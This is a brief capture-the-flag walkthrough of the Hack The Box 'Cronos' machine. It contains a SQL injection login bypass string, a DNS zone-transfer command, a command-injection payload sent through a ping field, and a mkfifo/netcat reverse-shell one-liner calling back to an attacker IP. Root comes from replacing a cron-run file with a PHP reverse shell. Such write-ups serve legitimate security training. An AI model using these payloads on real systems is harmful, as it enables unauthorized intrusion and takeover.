HTB Cronos OSCP No Metasploit

Lessons Learned

1. Visit the SQL Injection document
2. admin' or '1'='1

Walkthrough

The first thing we do is the nmap scan. I see port 53 is open and do a dig axfr cronos.htb @10.10.10.13

There is a login page. The Laravel exploits weren't working. A SQLI injection will work up above.

I switched to ping and input "8.8.8.8 | `ping 10.10.14.2`. It works and I see ICMP pings via wireshark. I need to restart the box because its stuck on ping. Use 8.8.8.8 | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f` to get a reverse shell back

I run linpeas.sh and see the red/yellow indicator. It looks like "artisan" is running on cron. I cp artisan artisan.old. I take /usr/share/webshells/php/php-reverse-shell and cat it to artisan. I get a root shell back.